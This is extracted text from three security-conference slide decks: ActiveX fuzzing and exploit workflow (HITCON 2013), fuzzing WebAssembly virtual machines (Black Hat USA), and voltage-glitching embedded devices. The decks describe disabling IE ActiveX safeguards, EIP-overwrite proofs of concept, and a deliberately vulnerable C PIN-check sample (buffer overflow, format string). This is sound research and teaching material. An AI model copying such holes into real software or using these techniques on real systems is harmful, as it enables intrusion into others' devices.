By Step 1-2, we’re able to make individual install script from united script.
How can I found bug easily?
`
ActiveX_List_Div.py
‘ActiveX_List_Div.py’ are able to separate
the install script from united script via step
1-2. It makes individual install script for
quick and easy.
22
HITCON 2013
Introduction Auto Install sample tool
STEP 2-2 :
Before you perform a auto installation, Change a few options Internet Browser.
How can I found bug easily?
ActiveX_Option_Setting.bat
ActiveX_Option_Setting.bat’is a batch file.
This file’s change the internet explorer
options for easily instatlled. It include that
allow active-x execute without warring,
allow the any certification for using active x,
allow the download active-x without
signning.
Change of
explorer
options
23
HITCON 2013
Introduction Auto Install sample tool
STEP 2-3 :
In this case, Our batch file’s run individual script for install.
How can I found bug easily?
AxInstallRun.bat
‘AxInstallRun.bat’ is batch file. It runs
individual script files for automatic install.
Installed active-x list
24
HITCON 2013
Introduction Auto Install sample tool
How can I found bug easily?
DEMO
25
HITCON 2013
Active X install
Information
Gathering and
Install Script
Generation
Proxy IP
Address
Gathering
Separation of
Install Script for
easily
automatic
installation
Setup for
Automatic
Install
Fuzzing Test
Make
a Exploit Code
Exploitable ?
Normal
Program
No
YES
How can I found bug easily?
STEP 3-1
26
HITCON 2013
Introduction Fuzzer
STEP 3-1 :
It’s test the target application by fuzzing. So all of installed applications tested by Our fuzzer.
Result of Fuzzing, we can know that how many crash occurred during fuzzing.
How can I found bug easily?
AxFuzzer.py
‘Red_Alert_AxFuzzer.py’ is our active-x
fuzzing tool. It refer the dranzer what is
open source project. Dranzer is active-x
vulnerability discovery tool. It developed by
CERT in USA.
Collected
POC List
27
HITCON 2013
Introduction Fuzzer
How can I found bug easily?
DEMO
28
HITCON 2013
Active X install
Information
Gathering and
Install Script
Generation
Proxy IP
Address
Gathering
Separation of
Install Script for
easily
automatic
installation
Setup for
Automatic
Install
Fuzzing Test
Make
a Exploit Code
Exploitable ?
Normal
Program
No
YES
How can I found bug easily?
STEP 4-1
STEP 4-2
STEP 4-2
29
HITCON 2013
Introduction Exploit
STEP 4-1 :
Selection crashed Active-X Information for Exploit in the result of fuzzing.
How can I found bug easily?
Exploitable PoC
This PoC information inform that EIP Register address is overwrite “41414141”. So It can change the
exploit very easy and there is no need to spend a time for weaponizing.
30
HITCON 2013
Introduction Exploit
STEP 4-1 :
To Seek what is the vulnerable Value in the PoC Data’s values.
How can I found bug easily?
look for value for crash
To Seek what is the
vulnerable Value in the
PoC Data’s values.
31
HITCON 2013
Outline
Introduction
I.
•
Introduction of speaker
Project Overview
II.
•
I just want to find a lot of vulnerability
•
Think it easier and Change one’s way of thinking
•
How can we found vulnerabilities
•
About ActiveX
•
APT Attacks via Active-X (Cases Study)
How can I found bug easily?
III.
•
Introduction Automatic sample collections tool (Demo)
Introduction Auto Install sample tool (Demo)
•
Introductions Fuzzer
•
Introductions Exploit
How can I have about one hundred vulnerability for just 1 days
IV.
•
Result of Tested
•
Examples (Active X Vulnerability)
32
HITCON 2013
How many Zero-Day vulnerability to find a day?
Result of Tested (just tested simply BoF Vulnerability)
( )
How many active-X vulnerability use to ATP Attack?
•
Vulnerability
possible
attack
now
of
Discovered ActiveX vulnerability confirmed 24
count. North Korea has often used ActiveX
When carry out a large-scale cyber attacks. We
estimate that North Korea finished the pre-
survey and ready to use cyber terrorism
33
HITCON 2013
How many Zero-Day vulnerability to find a day?
Examples (Active X Vulnerability)
Malicious Web page
ActiveX Install
Important info send to attacker
Safe
yes
no
Victim
Malicious Web page access
Attacker
[Use to Active X 0-Day for APT Attack]
DB Server
1
2
3
Gaining control of the EIP register
It will be easier and faster to handle. | pdf |
A Journey Into Fuzzing
WebAssembly Virtual Machines
Patrick Ventuzelo
#BHUSA @BlackHatEvents
#BHUSA @BlackHatEvents
Patrick Ventuzelo (@Pat_Ventuzelo)
●
Founder & CEO of FuzzingLabs | Senior Security Researcher
○
Fuzzing and vulnerability research
○
Development of security tools
●
Training/Online courses
○
Rust Security Audit & Fuzzing
○
Go Security Audit & Fuzzing
○
WebAssembly Reversing & Analysis
○
Practical Web Browser Fuzzing
●
Main focus
○
Fuzzing, Vulnerability research
○
Rust, Golang, WebAssembly, Browsers
○
Blockchain Security, Smart contracts
●
Previously speaker at:
○
OffensiveCon, REcon, RingZer0, ToorCon, hack.lu, NorthSec, FIRST, etc.
2
#BHUSA @BlackHatEvents
Introduction to WebAssembly
3
#BHUSA @BlackHatEvents
What is WebAssembly?
●
Binary instruction format for a stack-based virtual machine
○
Low-level bytecode
○
Compilation target for C/C++/Rust/Go/etc.
●
Generic evolution of NaCl & Asm.js
●
W3C standard
●
MVP 1.0 (March 2017), MVP 2.0 (2022/2023)
●
Natively supported in all major browsers
●
WebAssembly goals:
○
Be fast, efficient, and portable
○
Easily readable and debuggable
○
Safe (using sandboxed execution environment)
○
Open and modulable
4
#BHUSA @BlackHatEvents
How WebAssembly works?
5
Compilers
.wasm
WebAssembly
Virtual
Machine
#BHUSA @BlackHatEvents
Step 1: Compilation into WebAssembly module
6
Compilers
.wasm
WebAssembly
Virtual
Machine
Source code & Compiler toolchains
LLVM,
Emscripten,
Binaryen
#BHUSA @BlackHatEvents
WebAssembly Binary Format
7
Compilation
binary file (.wasm)
Rust
C/C++
#BHUSA @BlackHatEvents
Step 2: Execution by the WebAssembly VM
8
Compilers
.wasm
WebAssembly
Virtual
Machine
Source code & Compiler toolchains
LLVM,
Emscripten,
Binaryen
Runtime & Host environments
V8,
wasmer,
wasmtime
#BHUSA @BlackHatEvents
.wasm
WebAssembly VM - Execution stages
9
WebAssembly VM
#BHUSA @BlackHatEvents
1.
Decoding/Parsing: The binary format is parsed and converted into a module
.wasm
WebAssembly VM - Decoding/Parsing
10
WebAssembly VM
1
#BHUSA @BlackHatEvents
1.
Decoding/Parsing: The binary format is parsed and converted into a module
2.
Validation: The decoded module undergoes validation checks (such as type checking)
.wasm
WebAssembly VM - Validation
11
WebAssembly VM
1
2
#BHUSA @BlackHatEvents
1.
Decoding/Parsing: The binary format is parsed and converted into a module
2.
Validation: The decoded module undergoes validation checks (such as type checking)
3.
Instantiation: Creation of a module instance with all the context instantiated
.wasm
WebAssembly VM - Instantiation
12
WebAssembly VM
1
2
3
#BHUSA @BlackHatEvents
WebAssembly VM - Instantiation
13
Host (OS, Browser) - Shared
wasm instance (VM) - immutable
Functions
0
1
2
3
Execution
stack
3
0
1
1
2
Indirect function table
memories
globals
Tables
#BHUSA @BlackHatEvents
1.
Decoding/Parsing: The binary format is parsed and converted into a module
2.
Validation: The decoded module undergoes validation checks (such as type checking)
3.
Instantiation: Creation of a module instance with all the context instantiated
4.
Execution/Invocation: Exported functions are called by the host over the module instance
.wasm
WebAssembly VM - Execution/Invocation
14
WebAssembly VM
1
2
3
4
#BHUSA @BlackHatEvents
Step 2: Execution by the WebAssembly VM
15
Compilers
.wasm
WebAssembly
Virtual
Machine
Source code & Compiler toolchains
LLVM,
Emscripten,
Binaryen
Runtime & Host environments
V8,
wasmer,
wasmtime
#BHUSA @BlackHatEvents
WebAssembly VM - Use-cases
●
Standalone VM (server)
○
Edge computing
○
Back-end apps
■
Nodejs
○
Mobile & Desktop apps
○
IoT & Embedded OS
○
Blockchain
■
Polkadot, Substrate, Cosmos, NEAR
■
Spacemesh, Golem, EOS, DFINITY
●
Browser (client)
○
Video, Audio & Image processing
○
Videos Games
○
Complexe web apps
■
Autocad, Google Earth
■
Photoshop, Shopify, Figma
○
OS Emulation
16
#BHUSA @BlackHatEvents
Focus of this talk: WebAssembly VM
17
Compilers
.wasm
WebAssembly
Virtual
Machine
Runtime & Host environments
Source code & Compiler toolchains
#BHUSA @BlackHatEvents
1.
Decoding/Parsing: The binary format is parsed and converted into a module
2.
Validation: The decoded module undergoes validation checks (such as type checking)
3.
Instantiation: Creation of a module instance with all the context instantiated
4.
Execution/Invocation: Exported functions are called by the host over the module instance
.wasm
Goal: Find bugs on every stage on different VMs!
18
WebAssembly VM
1
2
3
4
#BHUSA @BlackHatEvents
1. Coverage-guided fuzzing
19
#BHUSA @BlackHatEvents
●
Coverage-guided fuzzing
○
Observe how inputs are processed to learn which mutations are interesting.
○
Save inputs to be re-used and mutated in future iterations.
Fuzzing strategy: Coverage-guided fuzzing
20
Crashes
Mutation
Corpus
.wasm
Fuzzer
Monitoring
.wasm
.wasm
.wasm
Coverage
Target
WebAssembly
Virtual
Machine
#BHUSA @BlackHatEvents
Input: WebAssembly Binary Format
●
Module structure
○
Header: magic number + version
○
11 Sections: may appear at most once
○
1 custom section: unlimited
21
#BHUSA @BlackHatEvents
Targets: Standalone VMs & parsing libraries
22
●
Targets (C/C++)
○
Binaryen: Compiler and toolchain libraries
○
WABT: The WebAssembly Binary Toolkit
○
Wasm3: WebAssembly interpreter
○
WAMR: WebAssembly Micro Runtime
○
WAC: WebAssembly interpreter in C
○
Radare2: Reverse engineering framework
○
Etc.
#BHUSA @BlackHatEvents
C/C++ Coverage-guided Fuzzing
●
C/C++ Fuzzers
○
AFL: american fuzzy lop
○
Honggfuzz: Feedback-driven/evolutionary fuzzer
○
AFL++: AFL with community patches
●
Complexity: None
○
Instrumentation using custom gcc/clang
○
Overwrite CC or CXX flags
○
Prefered AFL++ instead of vanilla AFL
23
#BHUSA @BlackHatEvents
Results: ~46 bugs/vulnerabilities
●
Binaryen
○
Out-of-bound read - issue
●
WABT
○
Assertion errors - issue#1, issue#2, issue#3, issue#4
○
Uncontrolled memory allocation - issue
●
WAMR
○
Null pointer dereference - issues (5)
○
Heap out of bounds read - issues (29)
○
Assertion errors - issue#1, issue#2
○
Heap out of bounds write - issue
○
Segmentation fault - issue
●
Radare2
○
Heap out of bounds read - issue
○
Heap out of bounds read - issue
24
#BHUSA @BlackHatEvents
●
Reusing corpora between all targets
Fuzzing strategy: Improvements #1
25
Mutation
.wasm
Fuzzers
Monitoring
.wasm
.wasm
.wasm
Coverage
Targets
WABT
Binaryen
wasm3
…
Crashes
Corpus
#BHUSA @BlackHatEvents
●
Reusing corpora between all targets
●
Add crashing files inside the existing corpus
○
It might make crash some other targets
Fuzzing strategy: Improvements #1
26
Mutation
.wasm
Fuzzers
Monitoring
.wasm
.wasm
.wasm
Coverage
Targets
WABT
Binaryen
wasm3
…
Crashes
Corpus
#BHUSA @BlackHatEvents
2. In-process fuzzing
27
#BHUSA @BlackHatEvents
●
In-Process fuzzing
○
Fuzz a specific entry point of the program in only one dedicated process
○
For every test case, the process isn't restarted but the values are changed in memory.
Fuzzers
Fuzzing strategy: In-process fuzzing
28
Mutation
.wasm
Monitoring
.wasm
.wasm
.wasm
pywasm
Coverage
…
Crashes
Corpus
wasmtime
wasmer
#BHUSA @BlackHatEvents
Targets: Standalone VMs & parsing libraries
29
●
Targets (Rust)
○
Wasmer: WebAssembly Runtime supporting WASI and Emscripten
○
Wasmtime: A standalone runtime for WebAssembly
○
wain: WebAssembly interpreter written in Rust from scratch
○
Wasmparser: Decoding/parsing library of wasm binary files
○
wasmi: WebAssembly (Wasm) interpreter.
○
Cranelift: JIT compiler for wasm
○
Lucet: Sandboxing WebAssembly Compiler
○
Etc.
●
Targets
○
pywasm: A WebAssembly interpreter written in pure Python
○
webassemblyjs: JavaScript Toolchain for WebAssembly
#BHUSA @BlackHatEvents
Rust In-process fuzzing
●
Rust Fuzzers
○
cargofuzz: A cargo subcommand for fuzzing with libFuzzer
○
honggfuzz-rs: Fuzz your Rust code with Honggfuzz!
○
afl.rs: Fuzzing Rust code with AFLplusplus
●
Complexity: Low
○
You need to write some fuzzing harnesses
○
honggfuzz-rs is my favorite (faster and better interface)
○
New fuzzer cargo-libafl is promising
30
#BHUSA @BlackHatEvents
Python/JS In-process fuzzing
●
Fuzzers
○
Atheris: Coverage-guided Python fuzzing engine based on Libfuzzer
○
jsfuzz: Coverage-guided fuzzer for javascript/nodejs packages
●
Complexity: Low
○
You need to write some fuzzing harnesses
○
Learn how to use different fuzzing frameworks
31
#BHUSA @BlackHatEvents
Results: ~62 bugs/vulnerabilities
●
Results
○
Wasmer - issues (22)
○
Cranelift - issues (2)
○
Wasmparser - issues (3)
○
Wasmtime - issues (17)
○
wain - issues (4)
○
lucet - issues (2)
○
Pywasm - not reported (10)
○
webassemblyjs - issue
●
Type of bugs found
○
Panicking macros
○
Index out of bound panic
○
Assertion failure
○
Unwrapping panics
○
Arithmetic overflows
○
Out of Memory (OOM) error
○
Unhandled exception (Python)
32
#BHUSA @BlackHatEvents
●
Improving the corpora by gathering valid inputs/seeds from internet
○
WebAssembly/spec: WebAssembly core testsuite
○
Existing WebAssembly fuzzing corpora - here, here or there
Fuzzers
Fuzzing strategy: Improvements #2
33
Mutation
.wasm
Monitoring
.wasm
.wasm
.wasm
pywasm
Coverage
…
Crashes
Corpus
wasmtime
wasmer
#BHUSA @BlackHatEvents
3. Grammar-based fuzzing
34
#BHUSA @BlackHatEvents
Issue: Module validation mechanism
●
The decoded module undergoes validation checks (such as type checking)
○
Validation mechanism is documented in the specs (here)
■
Conventions
■
Types
■
Instructions
■
Modules
●
Different implementations
○
wasm-validator tool (binaryen - C/C++)
○
wasm-validate tool (wabt - C/C++)
○
WebAssembly .validate (JS API - JavaScript)
●
Further reading:
○
WebAssembly Core Specification: Validation Algorithm - link
○
Mechanising and Verifying the WebAssembly Specification - link
○
“One pass verification process” explains - link
35
#BHUSA @BlackHatEvents
Fuzzing strategy: Improvements #3
●
Add new fuzzing harnesses to target validation entry points.
○
Module decoding will also be called by the validation function
36
#BHUSA @BlackHatEvents
●
Grammar-based fuzzing
○
Grammar allows for systematic and efficient test generation, particularly for complex formats.
○
Convert WebAssembly text files into wasm binaries and add them to the corpora
■
Found interesting wat files online, create and generate custom wat files
Fuzzers
Standalone VMs: Grammar-based fuzzing
37
Mutation
.wasm
Monitoring
.wasm
.wasm
.wasm
pywasm
Coverage
…
Crashes
Corpus
wasmtime
wasmer
.wat
.wat
.wat
#BHUSA @BlackHatEvents
Input: WebAssembly Binary Format & Text Format
38
Compilation
binary file (.wasm)
wasm text format (.wat)
Rust
C/C++
#BHUSA @BlackHatEvents
Input: WebAssembly Text Format
●
Standardized text format
○
File extensions: .wat
○
S-expressions (like LISP): Module and section definitions
○
Linear representation: Functions body and Low-level instructions
●
MVP Instruction set
○
Small Turing-complete ISA: ~172 instructions
○
Data types: i32, i64, f32, f64
○
Control-Flow operators
■
Label
block loop if else end
■
Branch
br br_if br_table
■
Function call
call call_indirect
○
Memory operators
load, store
○
Variables operators
local, global
○
Arithmetic operators
+ - * / % && >> sqrt
○
Constant operators
i32.const
○
Conversion operators
wrap trunc convert
39
#BHUSA @BlackHatEvents
MVP 1.0 Instruction Set Architecture (ISA)
40
i32
i64
f32
f64
#BHUSA @BlackHatEvents
Results: ~6 bugs/vulnerabilities
●
Found some new bugs by accident during conversion from text format (wat) to binary format (wasm)
●
Wasmprinter (Rust)
○
Out of Memory (OOM) error - issue
●
WABT (C/C++) - wasm2wat, wast2json
○
Assertion failure - issues (5)
41
#BHUSA @BlackHatEvents
Fuzzing strategy: Improvements #4
●
Create edge case modules
○
Duplicate sections (unique & customs)
○
Redefinition of exported/imported functions & memory
○
Change sections ordering
○
Create a lot of sections, elements, etc.
○
Inject unusual values for int/float
●
Create a polyglot WebAssembly module
○
Valid HTML/JS/wasm file
■
Data section injection
■
Custom section injection
○
Detailed blogpost here
42
#BHUSA @BlackHatEvents
4. Structure-aware fuzzing
43
#BHUSA @BlackHatEvents
●
Structure-aware fuzzing
○
Generate semi-well-formed inputs based on knowledge of structure, file format, or protocol.
○
Modules are generated, without losing time in parsing, with fuzzy values placed at strategic locations.
Fuzzers
Fuzzing strategy: Structure-aware fuzzing
44
Mutation
.wasm
Monitoring
.wasm
.wasm
.wasm
pywasm
Coverage
…
Crashes
Corpus
wasmtime
wasmer
.wat
.wat
.wat
Generation
#BHUSA @BlackHatEvents
Standalone VMs (Rust): Structure-based fuzzing
●
Fuzzers
○
Arbitrary trait: The trait for generating structured data from arbitrary, unstructured input.
○
wasm-smith: A WebAssembly test case generator.
●
Targets (all)
○
Rust code directly via in-process fuzzing (cargofuzz, honggfuzz-rs, etc.)
○
Other targets via shared corpora
●
Complexity: Low/Medium
○
Integrating the arbitrary trait can be challenging
○
Wasm-smith is really good, fast and easy to use
●
Results: 0 new direct bugs
○
Generate interesting inputs that will be mutated later
○
Helps to increase coverage
45
#BHUSA @BlackHatEvents
5. Differential fuzzing
46
#BHUSA @BlackHatEvents
Fuzzing strategy: Improvements #5
●
Add new fuzzing harnesses to target instantiation phases.
○
Create simple imports and provide them to Instance constructors.
47
#BHUSA @BlackHatEvents
Fuzzing strategy: Differential fuzzing
48
●
Differential fuzzing
○
Observe if two program implementations/variants produce different outputs for the same input.
○
Really efficient way to find logic bugs, unimplemented cases, etc.
○
Famous differential fuzzing projects
■
cryptofuzz, beacon-fuzz
.wasm
.wasm
.wasm
.wasm
.wasm
wasmer
wabt
wasmtime
binaryen
pywasm
#BHUSA @BlackHatEvents
Differential fuzzing
●
Type of bugs:
○
Logic bugs or unimplemented features
○
Consensus bugs (critical for blockchains)
●
Fuzzers: Just a Python or Bash script is working
●
Targets: All of them
●
Complexity: Low
○
No need for any bindings if youʼre using threads/subprocesses
○
A lot of false positives due to WebAssembly feature supports
●
Results: 2 bugs/vulnerabilities
○
[wabt] Incorrect validation/rejection - issues
49
#BHUSA @BlackHatEvents
What about browsers?
50
#BHUSA @BlackHatEvents
Targets: Browserʼs WebAssembly VMs
●
In browsers, the WebAssembly runtime is part of the JavaScript engine.
●
Targets
○
SpiderMonkey (Firefox)
○
JavaScriptCore (Safari)
○
V8 (Google chrome)
51
#BHUSA @BlackHatEvents
Targets: Browserʼs WebAssembly VMs
●
In browsers, the WebAssembly runtime is part of the JavaScript engine.
●
Targets
○
SpiderMonkey (Firefox)
○
JavaScriptCore (Safari)
○
V8 (Google chrome)
52
#BHUSA @BlackHatEvents
WebAssembly JavaScript APIs
53
●
Complete documentation on Mozilla MDN for WebAssembly
○
Methods/Constructors
○
Browser compatibility table
#BHUSA @BlackHatEvents
WebAssembly JavaScript APIs
54
●
WebAssembly.Instance
○
Stateful, executable instance of a WebAssembly.Module.
●
WebAssembly.instantiate
○
Compile and instantiate WebAssembly code.
●
WebAssembly.instantiateStreaming
○
Compiles and instantiates a WebAssembly module directly from a streamed underlying source.
●
WebAssembly.Memory
○
Accessible and mutable from both JavaScript and WebAssembly.
●
WebAssembly.Global
○
Global variable instance, accessible from both JavaScript and importable/exportable across one or more
WebAssembly.Module instances.
●
WebAssembly.Table
○
Array-like structure accessible & mutable from both JavaScript and WebAssembly.
#BHUSA @BlackHatEvents
Fuzzing strategy: Grammar-based fuzzing
●
Grammar-based fuzzing
○
Javascript files are generated by the fuzzer based on a given grammar
○
We are generating sequence of WebAssembly JavaScript APIs calls
○
Fuzzers
■
Dharma: Generation-based, context-free grammar fuzzer - wasm.dg
■
Domato: DOM fuzzer
■
Fuzzilli4wasm: Fuzzer for wasm fuzzing based on fuzzilli
●
Targets
○
SpiderMonkey (Firefox)
○
JavaScriptCore (Safari)
○
V8 (Google chrome)
●
Complexity: Medium
○
You need to manually write grammars
○
Itʼs time-consuming
●
Results: Some bugs & duplicates
○
Not public
55
#BHUSA @BlackHatEvents
Targets: WebAssembly JIT engines
●
Spidermonkey (Firefox)
○
WASM-Baseline: fast translation to machine code
○
WASM-Ion: wasm to MIR translator
○
Cranelift: low-level retargetable code generator
●
JavaScriptCore (Safari)
○
LLInt: Low Level Interpreter
○
BBQ: Build Bytecode Quickly
○
OMG: Optimized Machine-code Generator
●
V8 (Google chrome)
○
Liftoff: baseline compiler for WebAssembly
○
TurboFan: optimizing compiler
56
#BHUSA @BlackHatEvents
Fuzzing strategy: Differential fuzzing
57
.wasm
res: 42
arg: 42
arg: 42
res: 56
#BHUSA @BlackHatEvents
●
Type of JIT bugs
○
Memory corruption bugs in the compiler
○
Incorrect optimization
○
Bugs in code generators
●
Targets
○
WASM-Baseline vs WASM-Ion vs Cranelift
○
LLInt vs BBQ vs OMG
○
Liftoff vs TurboFan
●
Complexity: Hard
○
You need to generate valid wasm modules
○
You can force optimization using JS loops
●
Results: 0 bugs/vulnerabilities (WIP)
○
JIT compilers for WebAssembly are really simple for the moment
○
Not a lot of public research, itʼs still an early stage idea but some non-public bugs have been reported by researchers.
Fuzzing strategy: Differential fuzzing
58
#BHUSA @BlackHatEvents
Results & Closing Remarks
59
#BHUSA @BlackHatEvents
●
Some numbers
○
~117 bugs found
■
Rust: 53, C/C++: 53
■
Python: 10, JavaScript: 1
■
Some non-public bugs
○
Final corpora size: ~2M wasm modules
○
Total research time: 2 years
○
Active research time: 6 months full-time
○
~84 fuzzing harnesses created
○
WARF: WebAssembly Runtimes Fuzzing
●
Challenges
○
Complex to keep everything up-to-date
○
Not the same WebAssembly features are supported by the VMs
○
Need to adapt to multiple fuzzing frameworks and languages
●
Future / Next steps
○
Add new targets and fuzzing harnesses (Go, Java, etc.)
○
Update fuzzing harnesses for WebAssembly MVP 2.0
Conclusion & Final results
60
#BHUSA @BlackHatEvents
Thanks for your time! Any questions?
●
Twitter: @Pat_Ventuzelo
●
Mail: [email protected]
61
SLIDES | pdf |
Gotta
glitch
‘em all!
10+ Years of War Stories
Glitching Embedded Devices
AGENDA
Introduction
FI in the wild
Practical FI
Protections
Where is the problem?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(pin); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(pin); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
gets(pin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf(tmp);
return result;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
gets(pin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf(tmp);
return result;
}
Where is the problem?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(pin); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(pin); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
gets(pin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf(tmp);
return result;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
gets(pin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf(tmp);
return result;
}
Where is the problem?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(PIN); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(PIN); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
fgets(pin,sizeof(pin),stdin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf("%s",tmp);
return result;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
fgets(pin,sizeof(pin),stdin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf("%s",tmp);
return result;
}
IS IT NOW
SECURE?
Where is the problem?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(PIN); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(PIN); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
fgets(pin,sizeof(pin),stdin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf("%s",tmp);
return result;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
fgets(pin,sizeof(pin),stdin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf("%s",tmp);
return result;
}
IS IT NOW
SECURE?
Who am I?
Demo
Fault Injection attacks
Voltage glitching
5.5V
100 ms
1.8V
5.5V
100 ms
1.8V
Voltage glitching
5.5V
100 ms
1.8V
5.5V
100 ms
1.8V
Glitch!
Glitch!
How FI works?
+5V
CPU
GND
SRAM
CU
ALU
CACHE
…
…
How FI works?
CU
ALU
CACHE
How FI works?
CU
ALU
CACHE
How FI works?
CU
ALU
CACHE
How FI works?
CU
ALU
CACHE
Glitch!
Disabling modules
HW IP
Flipping bits
CMP R0, R1
BNE ERROR
. . .
Skipping / corrupting
instructions
Effects of glitches
REG
R/W
Preventing R/W
1
1
0
0
Flipping bits
0
0
0
1
0
1
1 → 0
1
0
1
0
0
0
1
1
Flipping bits
0
0
0 → 1
Skipping/corrupting instructions
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(PIN); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(PIN); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
fgets(pin,sizeof(pin),stdin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf("%s",tmp);
return result;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
fgets(pin,sizeof(pin),stdin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf("%s",tmp);
return result;
}
Skipping/corrupting instructions
result = comparePIN(pin);
result = comparePIN(pin);
ldr
r0, [sp, #pin]
bl comparePIN
str
r0, [sp, #result]
ldr
r0, [sp, #pin]
bl comparePIN
str
r0, [sp, #result]
11
11
11
11
00
00000011010
00000011010
Address
Opcode
result = comparePIN(pin);
result = comparePIN(pin);
result = pin;
result = pin;
ldr
r0, [sp, #pin]
bl comparePIN
str
r0, [sp, #result]
ldr
r0, [sp, #pin]
bl comparePIN
str
r0, [sp, #result]
ldr
r0, [sp, #pin]
strb r2, [r3, #0]
str
r0, [sp, #result]
ldr
r0, [sp, #pin]
strb r2, [r3, #0]
str
r0, [sp, #result]
1100
Skipping/corrupting instructions
11
11
11
00
00000011010
00000011010
Address
Opcode
Skipping/corrupting instructions
result = comparePIN(pin);
result = comparePIN(pin);
ldr
r0, [sp, #pin]
bl comparePIN
str
r0, [sp, #result]
ldr
r0, [sp, #pin]
bl comparePIN
str
r0, [sp, #result]
11
00
00
11
00
00000010001
00000010001
Address
Opcode
result = comparePIN(pin);
result = comparePIN(pin);
comparePIN(pin);
comparePIN(pin);
ldr
r0, [sp, #pin]
bl comparePIN
str
r0, [sp, #result]
ldr
r0, [sp, #pin]
bl comparePIN
str
r0, [sp, #result]
ldr
r0, [sp, #pin]
bl comparePIN
asrs r1, r2, #32
ldr
r0, [sp, #pin]
bl comparePIN
asrs r1, r2, #32
1100
Skipping/corrupting instructions
00
00
11
00
00000010001
00000010001
Address
Opcode
Disabling modules
HW IP
Flipping bits
CMP R0, R1
BNE ERROR
. . .
Skipping / corrupting
instructions
Effects of glitches
Chip Destruction
REG
R/W
Preventing R/W
FI in the wild
FI is trendy!
But it has been there for years...
Age test!
What is the relation between these two?
Don’t do this at home!
Practical FI
Fault Injection Rule #1
Fault Injection Rule #2
10+ Years Glitching
Bypassing authentication
Bypassing secure boot
Escalating privileges
Recovering crypto keys
Modifying security config.
Bypassing authentication
Bypassing authentications
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(pin); i++) {
